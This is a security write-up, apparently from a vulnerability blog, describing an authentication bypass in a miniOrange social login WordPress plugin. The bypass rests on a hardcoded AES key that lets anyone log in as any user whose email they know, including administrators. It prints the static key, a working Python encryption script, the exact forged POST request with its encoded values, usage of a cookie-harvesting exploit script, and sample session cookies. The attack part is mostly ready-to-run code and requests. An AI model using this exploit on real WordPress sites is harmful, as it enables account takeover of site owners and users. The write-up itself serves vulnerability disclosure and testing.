The plugin was affected by an Auth Bypass vulnerability. To bypass authentication, we only need to know the user’s email address. Depending on whose email address we know, we may even be given an administrator role on the website.

 

Let’s check the plugin

The mo_openid_login_validate() function includes the following request handling:

if ( isset( $_REQUEST['option'] ) and strpos( sanitize_text_field( $_REQUEST['option'] ), 'moopenid' ) !== false ) {
	mo_openid_process_social_login();
}

The mo_openid_process_social_login() function includes the following code for receiving the email from the request:

$decrypted_email = isset( $_POST['email'] ) ? sanitize_text_field( mo_openid_decrypt_sanitize( $_POST['email'] ) ) : '';

The mo_openid_decrypt_sanitize( $param ) function includes the following decryption:

$customer_token  = get_option( 'mo_openid_customer_token' );
$decrypted_token = decrypt_data( $param, $customer_token );

The decrypt_data( $data, $key ) function includes the following decryption with openssl:

return openssl_decrypt( base64_decode( $data ), 'aes-128-ecb', $key, OPENSSL_RAW_DATA );

We can see from the code that we need the mo_openid_customer_token option value to decrypt, because the data is encrypted with this passphrase. Since there is no other protection in the code, this means that if we have a passphrase, we can specify encrypted data in the request, which the plugin then decrypts and sets the email.

The email is passed to the mo_openid_process_user_details( $appuserdetails, $appname ) function, where the user id is queried with the following code:

$existing_email_user_id = $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->users where user_email = %s", $user_email ) );

then calls mo_openid_login_user(), passed the user, which finally logs the user in.

So we need the mo_openid_customer_token option value. It decrypts the email with this value, then defines the user, and then logs the user in.
The miniorange_openid_sso_settings class constructor has the following code that defines the default value statically:

update_option( 'mo_openid_customer_token', 'jMj7MEdu4wkHObiD' );

So if no user-specific value is set, this static value will be used by the plugin.

 

Let’s see how we can encrypt data

I created a Python script for the exploit that encrypts and encodes the data:

import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

# static passphrase from the WordPress plugin code
passphrase = 'jMj7MEdu4wkHObiD'

data = sys.argv[1]

cipher = AES.new(passphrase.encode('utf-8'), AES.MODE_ECB)
padded_data = pad(data.encode('utf-8'), AES.block_size)
encrypted_data = cipher.encrypt(padded_data)
encoded_data = base64.b64encode(encrypted_data).decode('utf-8')

print(encoded_data)

How to use:

python3 miniorange_login_openid_plugin_encrypt.py [email protected]

Let’s execute the script:

By encrypting and encoding the data [email protected], which is the email, we get the following value: uzmpvjPBmwEO3tFXq0vlJg==.

By encrypting and encoding the data wordpress, which is the appName, we get the following value: rlHeqZw2vrPzOiWWfCParA==.

 

Let’s see how we can exploit this vulnerability

We only need to send a POST request to exploit this vulnerability.

The HTTP request to the https://lana.solutions/vdb/miniorange-login-openid/ which is a test WordPress website:

POST /vdb/miniorange-login-openid/ HTTP/1.1
Host: lana.solutions
Content-Type: application/x-www-form-urlencoded

option=moopenid&email=uzmpvjPBmwEO3tFXq0vlJg%3D%3D&appName=rlHeqZw2vrPzOiWWfCParA%3D%3D

We use these values:
option: moopenid
email: uzmpvjPBmwEO3tFXq0vlJg== (which is [email protected] encrypted and encoded)
appName: rlHeqZw2vrPzOiWWfCParA== (which is the wordpress encrypted and encoded)

 

The exploit script

I created a Python script that returns the WordPress logged_in and auth cookie:

Source: miniorange_login_openid_plugin_vdb_get_exploit_cookie.py

How to use:

python3 miniorange_login_openid_plugin_vdb_get_exploit_cookie.py --website_url="https://lana.solutions/vdb/miniorange-login-openid/" --email="[email protected]"

We get something like this:

Response Cookies:

Name: wordpress_logged_in_4af408b4e401c103a4dfb307298f5e2f
Value: demo%7C1686426474%7CKXKiJJPfEATnjiy52CjJBLr6jqVvRLK5lZ9piap9oFp%7C148b84d5e04afa52860577086a889b8ffa65d6831d90185cdaeab847d80d2456
Domain: lana.solutions
Path: /vdb/miniorange-login-openid/
Expires: 1686469673
Secure: True
HttpOnly: False

Name: wordpress_sec_4af408b4e401c103a4dfb307298f5e2f
Value: demo%7C1686426474%7CKXKiJJPfEATnjiy52CjJBLr6jqVvRLK5lZ9piap9oFp%7Ca1db60385322f64d41136eaa9cff37476f6732b8d3e03d3190aa521ef82c55a0
Domain: lana.solutions
Path: /vdb/miniorange-login-openid/wp-admin
Expires: 1686469673
Secure: True
HttpOnly: False

Then all we have to do is set the cookie using the browser’s Developer Tools on the website, which in our case is https://lana.solutions/vdb/miniorange-login-openid/

 

Try it

Feel free to try and use the lana.solutions/vdb WordPress websites for testing. I have set the roles and capabilities, so you can only get low level access to the website.

Website: https://lana.solutions/vdb/miniorange-login-openid/